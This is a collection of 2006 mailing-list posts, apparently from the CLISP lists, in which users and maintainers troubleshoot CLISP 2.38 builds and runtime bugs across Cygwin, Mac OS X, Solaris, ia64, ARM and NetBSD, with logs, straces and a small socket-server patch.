             DISASSEMBLE-FRAME FIND-THREAD INSPECT-FOR-EMACS INTERRUPT-THREAD
             RECEIVE
             REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-START
             SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS
             WHO-SPECIALIZES)
    ;; Loaded file /home/jcano/elisp/slime/2006-06-21/slime/swank-loader.lisp
    T
    [2]> 
    *** - nonexistent directory: #P"/"
    The following restarts are available:
    ABORT          :R1      ABORT
    Break 1 [3]> :bt

    Printed 0 frames
    Break 1 [3]> 

Damn, that will teach me to upgrade, eh?  Here are the versions of
stuff I'm currently using:

clisp (from Cygwin):
       GNU CLISP 2.38 (2006-01-24) (built on winsteingoldlap.bluelnk.net
       [10.41.52.143])

SLIME: CVS head (also tried 'fairly stable') 2006-06-21

emacs: GNU Emacs 21.3.1 (i386-mingw-nt5.1.2600) of 2004-03-10 on NYAUMO

.emacs_slime (slime specific emacs lisp -- loaded by .emacs)

    ;; -*- mode: emacs-lisp -*-
    (message "begin .emacs_slime")
    (setq inferior-lisp-program "clisp")

    ;;; #@ attempted work around for 'swank-loader.lisp does not exist'
    ;;; error
    (defvar slime-path "/home/jcano/elisp/slime/2006-06-21/slime/")

    (add-to-list 'load-path ;; CVS head
                 (concat (getenv "HOME") "/elisp/slime/2006-06-21/slime")
                 t)
    (require 'slime)
    (slime-setup)

    ;;; Configuration of Erik Naggum's HyperSpec access package.

    ;; If you have a local copy of the HyperSpec, set its path here.
     (setq common-lisp-hyperspec-root
           "file:///c:/cygwin/home/jcano/docs/CL/HyperSpec/")
     (setq common-lisp-hyperspec-symbol-table
           (concat (getenv "HOME") "/docs/CL/HyperSpec/ilisp/map_sym.txt" ))
    (message "end .emacs_slime")



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Am I doing something idiotic?

When I try to run ./configure... in order to build clisp-2.38
on my Mac OS X 10.3.9 box, I get an error with instructions:

./configure: libsigsegv was not detected, thus some features, such as
  generational garbage collection and
  stack overflow detection in interpreted Lisp code
cannot be provided.
Please do this:
  mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin7.9.0
  wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
  tar xfz libsigsegv-2.2.tar.gz
  cd libsigsegv-2.2
  ./configure --prefix=${prefix} && make && make check && make install
  cd ../..
  ./configure --with-libsigsegv-prefix=${prefix} --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0
If you insist on building without libsigsegv, please pass
  --ignore-absence-of-libsigsegv
to this script:
  ./configure --ignore-absence-of-libsigsegv --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0

However, here is how I am running ./configure:

./configure --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 

And if I look in the directory that is supposed to contain libsigsegv,
I seem to find the right thing.  Why isn't configure finding it, too?

cd /Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0  && find ./
./
./include
./include/sigsegv.h
./lib
./lib/libsigsegv.a
./lib/libsigsegv.la



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I think this may be issue discussed as 1) in
http://article.gmane.org/gmane.lisp.clisp.general/11079/

If I recall correctly, the problem is that if you have gcc4, you
should use libsigsegv 2.3 or newer - there was a test in older
versions that gcc4 optimizes away. Is it your case?

>From post referenced (by Hoehle, Joerg-Cyril)
---
1) gcc4 causes libsigsegv to misconfigure and not provide stack
overflow detection.  This can be seen in the
include file sigsegv.h. If it does not say
#if 1
# define HAVE_STACK_OVERFLOW_RECOVERY 1
and your Linux is new enough and gcc4 was used to compile it, it's
misconfigured.
---

On 6/28/06, Joe Corneli <jcorneli@planetmath.org> wrote:
> Am I doing something idiotic?
>
> When I try to run ./configure... in order to build clisp-2.38
> on my Mac OS X 10.3.9 box, I get an error with instructions:
>
> ./configure: libsigsegv was not detected, thus some features, such as
>  generational garbage collection and
>  stack overflow detection in interpreted Lisp code
> cannot be provided.
> Please do this:
>  mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin7.9.0
>  wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
>  tar xfz libsigsegv-2.2.tar.gz
>  cd libsigsegv-2.2
>  ./configure --prefix=${prefix} && make && make check && make install
>  cd ../..
>  ./configure --with-libsigsegv-prefix=${prefix} --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0
> If you insist on building without libsigsegv, please pass
>  --ignore-absence-of-libsigsegv
> to this script:
>  ./configure --ignore-absence-of-libsigsegv --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0
>
> However, here is how I am running ./configure:
>
> ./configure --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0
>
> And if I look in the directory that is supposed to contain libsigsegv,
> I seem to find the right thing.  Why isn't configure finding it, too?
>
> cd /Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0  && find ./
> ./
> ./include
> ./include/sigsegv.h
> ./lib
> ./lib/libsigsegv.a
> ./lib/libsigsegv.la
>
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Hello evebody.

I download the latest source code tarball.but here's a big problem
that it always come to a halt when configure the source code.

The command line and the output is:

===

$ ./configure --prefix=/home/yong/software/toolchain/clisp/binary
--without-readline --host=arm-elf --build binary

executing /home/yong/software/toolchain/clisp/clisp-2.37/binary/configure
--srcdir=../src --prefix=/home/yong/software/toolchain/clisp/binary
--without-readline --host=arm-elf --cache-file=config.cache
configure: WARNING: If you wanted to set the --build type, don't use --host.
    If a cross compiler is detected then cross compile mode will be used.
    configure: loading cache config.cache
    configure: * checks for UNIX variants that set DEFS
    checking for arm-elf-gcc... arm-elf-gcc -elf2flt
    checking for C compiler default output file name... b.out
    checking whether the C compiler works... yes
    checking whether we are cross compiling... yes
    checking for suffix of executables...
    checking for suffix of object files... o
    checking whether we are using the GNU C compiler... yes
    checking whether arm-elf-gcc -elf2flt accepts -g... yes
    checking for arm-elf-gcc -elf2flt option to accept ANSI C... none needed
    checking how to run the C preprocessor... arm-elf-gcc -elf2flt -E
    checking for egrep... grep -E
    checking for AIX... no
    checking for ANSI C header files... yes
    checking for sys/types.h... yes
    checking for sys/stat.h... yes
    checking for stdlib.h... yes
    checking for string.h... yes
    checking for memory.h... yes
    checking for strings.h... yes
    checking for inttypes.h... yes
    checking for stdint.h... yes
    checking for unistd.h... yes
    checking minix/config.h usability... no
    checking minix/config.h presence... no
    checking for minix/config.h... no
    configure: * checks for programs
    checking for arm-elf-gcc... (cached) arm-elf-gcc -elf2flt
    checking whether we are using the GNU C compiler... (cached) yes
    checking whether arm-elf-gcc -elf2flt accepts -g... (cached) yes
    checking for arm-elf-gcc -elf2flt option to accept ANSI C...
(cached) none needed
    checking how to run the C preprocessor... arm-elf-gcc -elf2flt -E
    checking for ranlib... ranlib
    checking for a BSD compatible install... /usr/bin/install -c
    checking how to copy files... cp -p
    checking how to make hard links... ln
    checking whether ln -s works... yes
    checking how to make hard links to symlinks... hln
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	configure: checking for integer types and behaviour...
	creating

===

Then it halt here.The only way can stop this is Ctrol+c.

How can I solve this?

The cross compiler is downloaded from
http://www.uclinux.org/pub/uClinux/arm-elf-tools/

Thanks.

Sorry for that my English is poor.


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Hello,

> If I recall correctly, the problem is that if you have gcc4, you
> should use libsigsegv 2.3 or newer - there was a test in older
> versions that gcc4 optimizes away. Is it your case?

Recently I've been investigating the build failures of clisp for ia64, and 
I've noticed that libsigsegv does not report being able to detect a stack 
overflow even with gcc-3.3.

The problem is code like the following in configure:

  altstack.ss_sp = mystack;
  altstack.ss_size = sizeof (mystack);
  altstack.ss_flags = 0; /* no SS_DISABLE */
  if  (sigaltstack (&altstack, NULL) < 0) {

on ia64 SIGSTKSZ (minimum stack size supported) is 262144 bytes while the 
standard stack created in the tests is 16384 bytes.

Changing all mentions of 
 char mystack[16384];
into
 char mystack[SIGSTKSZ]
seems to work.

Then I modified src/handler-unix.c to also have SIGSTKSZ as a minimum stack 
size:

    ss.ss_size = extra_stack_size;
    if (ss.ss_size < SIGSTKSZ)
      ss.ss_size = SIGSTKSZ;

I'm building clisp now to check if this helped. :-S

Groetjes, Peter

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  If I recall correctly, the problem is that if you have gcc4, you
  should use libsigsegv 2.3 or newer - there was a test in older
  versions that gcc4 optimizes away. Is it your case?

I tried replacing libsigsegv2.2 with libsigsegv2.3 to no avail.  (And
I'm using Apple's version of GCC 3.3, by the way.)


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In 2.38, we cannot use socket-server on any interface other than 127.0.0.1
(search "bind" in the following straces).

% clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "192.168.2.1")'
#<SOCKET-SERVER 127.0.0.1:19000>
% clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "0.0.0.0")'
*** - UNIX error 98 (EADDRINUSE): Address already in use

% clisp --version
GNU CLISP 2.38 (2006-01-24) (built 3350714484) (memory 3350714690)
Software: GNU C 3.4.5 (Gentoo 3.4.5, ssp-3.4.5-1.0, pie-8.7.9) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libreadline 5.0
Features: 
(WILDCARD RAWSOCK PCRE CLX-ANSI-COMMON-LISP CLX ZLIB READLINE REGEXP SYSCALLS
 I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
 SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp readline zlib linux clx pcre rawsock wildcard)
Installation directory: /usr/local/languages/clisp-2.38/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) kuiper

% strace -o clisp.strace clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "0.0.0.0")'
*** - UNIX error 98 (EADDRINUSE): Address already in use

% cat clisp.strace
execve("/usr/local/bin/clisp", ["clisp", "-q", "-norc", "-ansi", "-x", "(socket:socket-server 19000 :int"...], [/* 126 vars */]) = 0
[...]
mprotect(0x2034a000, 4096, PROT_READ|PROT_WRITE) = 0
sigreturn()                             = ? (mask now [])
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
mprotect(0x20269000, 4096, PROT_READ|PROT_WRITE) = 0
sigreturn()                             = ? (mask now [])
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(5, 1)                            = 0
getsockname(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6
setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EADDRINUSE (Address already in use)
close(6)                                = 0
setitimer(ITIMER_REAL, {it_interval={0, 0}, it_value={0, 0}}, {it_interval={0, 0}, it_value={0, 0}}) = 0
mmap2(0x203aa000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x203aa000
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
[...]
exit_group(1)                           = ?


% strace -o clisp.strace clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "192.168.2.1")'
#<SOCKET-SERVER 127.0.0.1:19000>
% cat clisp.strace

execve("/usr/local/bin/clisp", ["clisp", "-q", "-norc", "-ansi", "-x", "(socket:socket-server 19000 :int"...], [/* 126 vars */]) = 0
[...]
mprotect(0x2034a000, 4096, PROT_READ|PROT_WRITE) = 0
sigreturn()                             = ? (mask now [])
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
mprotect(0x20269000, 4096, PROT_READ|PROT_WRITE) = 0
sigreturn()                             = ? (mask now [])
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("192.168.2.1")}, 16) = 0
listen(5, 1)                            = 0
getsockname(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("192.168.2.1")}, [16]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6
setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
listen(6, 1)                            = 0
getsockname(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
mmap2(0x203aa000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x203aa000
write(1, "#<SOCKET-SERVER 127.0.0.1:19000>", 32) = 32
write(1, "\n", 1)                       = 1
close(4)                                = 0
exit_group(0)                           = ?

%


The following patch seems to correct the problem. 

diff -Naurtwb --exclude '*~' clisp-2.38-original/src/stream.d clisp-2.38-pjb/src/stream.d
--- clisp-2.38-original/src/stream.d	2006-01-12 22:52:14.000000000 +0100
+++ clisp-2.38-pjb/src/stream.d	2006-07-03 09:29:18.000000000 +0200
@@ -13860,7 +13860,7 @@
       port = I_to_uint16(check_uint16(STACK_2));
   }
   {
-    var SOCKET sk;
+    var SOCKET sk=INVALID_SOCKET;
     var host_data_t myname;
     if (!missingp(STACK_0)) {
       if (builtin_stream_p(STACK_0))
@@ -13873,12 +13873,14 @@
           end_system_call();
         });
     }
+    if(sk==INVALID_SOCKET)  {
     begin_system_call();
     if (sock != INVALID_SOCKET)
       sk = create_server_socket_by_socket(&myname, sock, port, backlog);
     else
       sk = create_server_socket_by_string(&myname,"127.0.0.1",port,backlog);
     end_system_call();
+    }
     if (sk == INVALID_SOCKET) { SOCK_error(); }
     pushSTACK(allocate_socket(sk));
     pushSTACK(allocate_socket_server());
[pjb@kuiper clisp]$ 

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-07-03 09:56:25 +0200]:
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> In 2.38, we cannot use socket-server on any interface other than 127.0.0.1
> (search "bind" in the following straces).

this has been fixed in the CVS for months.
please try cvs head.

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Hi,

I'm having some trouble getting CLISP 2.38 going on Solaris 10 (sparc, if it
matters). I does compile and run on previous versions of Solaris, but even if I
build on S8 and try to run it on S10, I get the same behaviour:

/opt/csw/gcc3/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fno-schedule-insns
-fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o
readline.o -lreadline -lncurses regexi.o regex.o calls.o -lm -lnsl -lsocket
gettext.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline
-lncurses -ldl -lnsl -lsocket -liconv -L/usr/local/lib -lsigsegv -lc
-R/usr/local/lib -o lisp.run
boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i
syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem")
Bus Error - core dumped

And, indeed, even running lisp.run manually causes the same bus error. If it
helps, here's the end of a "truss" of lisp.run:

mmap64(0x19BC0000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BC0000
mmap64(0x666EE000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x666EE000
mmap64(0x19BC2000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BC2000
mmap64(0x19BC4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BC4000
mmap64(0x19BC6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BC6000
mmap64(0x19BC8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BC8000
mmap64(0x19BCA000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BCA000
mmap64(0x19BCC000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BCC000
mmap64(0x19BCE000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BCE000
mmap64(0x666EC000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x666EC000
mmap64(0x19BD0000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BD0000
mmap64(0x19BD2000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BD2000
mmap64(0x19BD4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BD4000
mmap64(0x19BD6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BD6000
mmap64(0x19BD8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BD8000
mmap64(0x19BDA000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON,
-1, 0) = 0x19BDA000
    Incurred fault #5, FLTACCESS  %pc = 0xFEF96004
      siginfo: SIGBUS BUS_ADRALN addr=0x19BDA699
    Received signal #10, SIGBUS [default]
      siginfo: SIGBUS BUS_ADRALN addr=0x19BDA699


FYI, I did try to recompile with -g and generate a backtrace, but that build
fails in a different, unrelated manner.

Thoughts?

TIA,

Dan Debertin
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Hi,

I only have access to SF CF
SunOS sparc-solaris1 5.9 Generic_112233-03 sun4u sparc SUNW,Ultra-60
and there CLISP builds OOTB.

> * Dan Debertin <qroregva@tznvy.pbz> [2006-07-05 18:13:57 +0000]:
>
> I'm having some trouble getting CLISP 2.38 going on Solaris 10 (sparc,
> if it matters). I does compile and run on previous versions of
> Solaris, but even if I build on S8 and try to run it on S10, I get the
> same behaviour:
>
> /opt/csw/gcc3/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fno-schedule-insns
> -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o
> readline.o -lreadline -lncurses regexi.o regex.o calls.o -lm -lnsl -lsocket
> gettext.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline
> -lncurses -ldl -lnsl -lsocket -liconv -L/usr/local/lib -lsigsegv -lc
> -R/usr/local/lib -o lisp.run
> boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i
> syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem")
> Bus Error - core dumped
>
> And, indeed, even running lisp.run manually causes the same bus error. If it
> helps, here's the end of a "truss" of lisp.run:
>
> mmap64(0x19BC0000, 8192, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC0000

please see unix/PLATFORMS on how to disable memory mapping.
it would be helpful if you could figure out what has changed in the mmap
in S10 that breaks CLISP.

thanks.

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Hello, and thanks for the reply!

Sam Steingold <sds <at> podval.org> writes:

> 
> please see unix/PLATFORMS on how to disable memory mapping.
> it would be helpful if you could figure out what has changed in the mmap
> in S10 that breaks CLISP.

I tried all three flags that were suggested -- NO_MULTIMAP_FILE, NO_SINGLEMAP
and NO_TRIVIALMAP -- with no success. However, when I add -DSAFETY=n where n >=
2 and remove the three flags just mentioned, it works! Truss reports that
lisp.run is still using mmap (lots of calls to mmap64), but whatever it is that
SAFETY does seems to have worked. 

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> * Dan Debertin <qroregva@tznvy.pbz> [2006-07-05 21:01:53 +0000]:
>
> I tried all three flags that were suggested -- NO_MULTIMAP_FILE,
> NO_SINGLEMAP and NO_TRIVIALMAP -- with no success. However, when I add
> -DSAFETY=n where n >= 2 and remove the three flags just mentioned, it
> works! Truss reports that lisp.run is still using mmap (lots of calls
> to mmap64), but whatever it is that SAFETY does seems to have worked.

it may be that replacing -DSAFETY=2 with -DNO_GENERATIONAL_GC will also
work.
could you please try it?
you can find other options in the start of clisp/src/lispbibl.d.

thanks.

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I'm trying to build clisp for macosx 10.4.7 (intel).
It seems to compile fine except for FFI.

It looks like the file
ffcall/callback/trampoline_r/test1.c compiles file,
but fails with an illegal instruction.

The build/host type comes up as
i386-apple-darwin8.7.1.

The relevent lines in configure log are:

cd trampoline_r; make check
gcc -g -O2 -I. -I../../../ffcall/callback/trampoline_r
-c ../../../ffcall/callback/trampoline_r/test1\
.c
/bin/sh ./libtool --mode=link gcc -g -O2 -x none
test1.o trampoline.lo  -o test1
gcc -g -O2 -x none test1.o trampoline.o -o test1
gcc -g -O2 -I. -I../../../ffcall/callback/trampoline_r
-c ../../../ffcall/callback/trampoline_r/test2\
.c
/bin/sh ./libtool --mode=link gcc -g -O2 -x none
test2.o trampoline.lo  -o test2
gcc -g -O2 -x none test2.o trampoline.o -o test2
./test1
make[1]: *** [check] Illegal instruction
make: *** [check-subdirs] Error 2
Configure findings:
  FFI:        no (user requested: default)
  readline:   yes (user requested: default)
  libsigsegv: yes

I guess that the .s files being used might need
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This is from a recent cvs build but I've seen the same thing in older
versions.  I don't understand what causes the problem.  I think it's a
bug, though.  For purposes of debugging I've arranged to load only
interpreted code.  

 *** - UNIX error 104 (ECONNRESET): Connection reset by peer
 The following restarts are available:
 SKIP           :R1      skip (SERVE)
 STOP           :R2      stop loading file /root/http/init.lisp
 ABORT          :R3      ABORT
 ABORT          :R4      ABORT
 Break 1 [3]> where
 <1> #<SYSTEM-FUNCTION SOCKET-STATUS>
 EVAL frame for form (SOCKET-STATUS SSS::*SOCKET-STATUS-ARG*)
 Break 1 [3]> SSS::*SOCKET-STATUS-ARG*
 ((#<IO INPUT-BUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 0.0.0.0:80>
 :INPUT)
  (#<SOCKET-SERVER 0.0.0.0:80> :INPUT . T))
 Break 1 [3]> (SOCKET-STATUS SSS::*SOCKET-STATUS-ARG*)
 ((#<IO INPUT-BUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 0.0.0.0:80>
 :INPUT . :EOF)
  (#<SOCKET-SERVER 0.0.0.0:80> :INPUT)) ;
 1
...

 Break 1 [3]> (lisp-implementation-version)
 "2.38 (2006-01-24) (built 3361134711) (memory 3361134986)"

If I type redo then things continue as expected.

BTW
 uname -a
 Linux don-eve.dyndns.org 2.6.15-1.1831_FC4 #1 Tue Feb 7 13:37:42 EST 2006 i686 i686 i386 GNU/Linux


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In configure, the error message when it cannot find the Xt library is
confusing.  It reports:

checking for X... (cached) no
configure: error: cannot find X Window System

while xserver-xfree86 and libx11-dev ARE installed on my new headless
debian system.



The error message ought to tell exactly and truely what it was
checking, as follow:

configure: error: cannot find Xt library


(I had installed xserver-xfree86 unnecessarily; now I've removed it
and installed libxt-dev instead and clisp compilation can proceed).

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-07-08 16:12:12 +0200]:
>
> In configure, the error message when it cannot find the Xt library is
> confusing.  It reports:
>
> checking for X... (cached) no
> configure: error: cannot find X Window System
>
> while xserver-xfree86 and libx11-dev ARE installed on my new headless
> debian system.
>
>
>
> The error message ought to tell exactly and truely what it was
> checking, as follow:
>
> configure: error: cannot find Xt library

please try CVS head.

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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-07-07 20:10:11 -0700]:
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> This is from a recent cvs build but I've seen the same thing in older
> versions.  I don't understand what causes the problem.  I think it's a
> bug, though.  For purposes of debugging I've arranged to load only
> interpreted code.

OS errors reported based on the return values from system calls.
There are tricky issues there (e.g., for some system calls one has to
check errno in addition to the return values), but here it is probably
the bad arguments (if it is a CLISP fault) or a network oddity (if it is
not) in this case.
please recompile with "-g" instead of "-O2 -f..." and run under gdb.
thanks.

>  *** - UNIX error 104 (ECONNRESET): Connection reset by peer

if you add "-DDEBUG_OS_ERROR" to CFLAGS, you will also see the file:line
location of the error.

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I no longer have access to a woe32 system,
so we need a volunteer to build clisp binary distributions
for woe32 and cygwin for the forthcoming clisp 2.39.

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On 7/12/06, Sam Steingold <sds@podval.org> wrote:
> I no longer have access to a woe32 system,
> so we need a volunteer to build clisp binary distributions
> for woe32 and cygwin for the forthcoming clisp 2.39.
>

If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.

In addition to WinXP SP2, I also have Vista Beta 2 installed.
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On 7/12/06, Jack Unrue <jdunrue@gmail.com> wrote:
> On 7/12/06, Sam Steingold <sds@podval.org> wrote:
> > I no longer have access to a woe32 system,
> > so we need a volunteer to build clisp binary distributions
> > for woe32 and cygwin for the forthcoming clisp 2.39.
> >
>
> If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.
>
> In addition to WinXP SP2, I also have Vista Beta 2 installed.
> I can run the test suite under both versions.

BTW, assuming you don't find someone else to do it,
I'll just need to know if there are any special instructions
I should follow and where to upload the distribution.

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-07-07 20:10:11 -0700]:
 > >
 > > This is from a recent cvs build but I've seen the same thing in older
 > > versions.  I don't understand what causes the problem.  I think it's a
 > > bug, though.  For purposes of debugging I've arranged to load only
 > > interpreted code.
 > 
 > OS errors reported based on the return values from system calls.
 > There are tricky issues there (e.g., for some system calls one has to
 > check errno in addition to the return values), but here it is probably
 > the bad arguments (if it is a CLISP fault) or a network oddity (if it is
 > not) in this case.
 > please recompile with "-g" instead of "-O2 -f..." and run under gdb.
 > thanks.

I gather the bug report is not enough to tell you what's wrong.

I'm having trouble understanding what you want me to do when the error
occurs and what you think we will learn this way.

Perhaps it would be more useful to record an strace of the process
and/or tcpdump? 

 > if you add "-DDEBUG_OS_ERROR" to CFLAGS, you will also see the file:line
 > location of the error.
We know it's coming from socket-status and strace will show us the
system calls.  That seems like it should be sufficient.

At this point I still don't know how to reproduce the error on demand
so I'm reduced to running the server and waiting for someone to send
it whatever is needed to break it.  



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I sent an email last week about the trampoline tests
failing when trying to compile clisp 2.38 on a mac
book pro with Mac OS 10.4.7.

So I started digging a little deeper and found that
the test (test1.c) actually passes.  But an illegal
instruction happens when free_trampoline_r() is
called.

Line 1204 in trampoline.c is where the error occurs.
    free(((char**)function)[-1]);

I'm at the end of knowledge here.  I'm willing to keep
working on this if someone can give me some pointers
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Hello, I have a hpcmips system running netbsd 3.0. I am trying to  
build clisp from pkgsrc and i get the following error:

===> Building for clisp-2.38
cd /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall && /usr/bin/make
make: don't know how to make avcall-mipsel.lo. Stop

make: stopped in /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall
*** Error code 2

Stop.
make: stopped in /usr/pkgsrc/lang/clisp
*** Error code 1

Stop.
make: stopped in /usr/pkgsrc/lang/clisp

A copy of the work.log is available at http://genesis.blogdns.net/ 
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> *  <flnznwnyn@tnzrobk.arg> [2006-07-13 14:43:34 -0400]:
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> Hello, I have a hpcmips system running netbsd 3.0. I am trying to
> build clisp from pkgsrc and i get the following error:
>
> ===> Building for clisp-2.38
> cd /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall && /usr/bin/make
> make: don't know how to make avcall-mipsel.lo. Stop
>
> make: stopped in /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall
> *** Error code 2
>
> Stop.
> make: stopped in /usr/pkgsrc/lang/clisp
> *** Error code 1
>
> Stop.
> make: stopped in /usr/pkgsrc/lang/clisp
>
> A copy of the work.log is available at http://genesis.blogdns.net/ 
> work-clisp.log

it appears that FFCALL has not been ported to your platform yet.

try to ./configure --without-dynamic-ffi

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now it seems to say:

In file included lisparit.d:8:
lispdible.d:8962: warning: volatile register variables don't work as  
you might wish
In file included from lisparit.d:28:
arilev1.d:263:29: arimips.c: No such file or directory

Stop.
make: stopped in /usr/pkgsrc/lang/clisp
*** Error code 1

When i commented out the cd work/clisp-2.38/src/avcall && /usr/bin/ 
make from the Makefile i also got rid of cd work/clisp-2.38/src/ 
callback && /usr/bin/make could that be causing problems?




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now it seems to say:

In file included lisparit.d:8:
lispdible.d:8962: warning: volatile register variables don't work as  
you might wish
In file included from lisparit.d:28:
arilev1.d:263:29: arimips.c: No such file or directory

Stop.
make: stopped in /usr/pkgsrc/lang/clisp
*** Error code 1

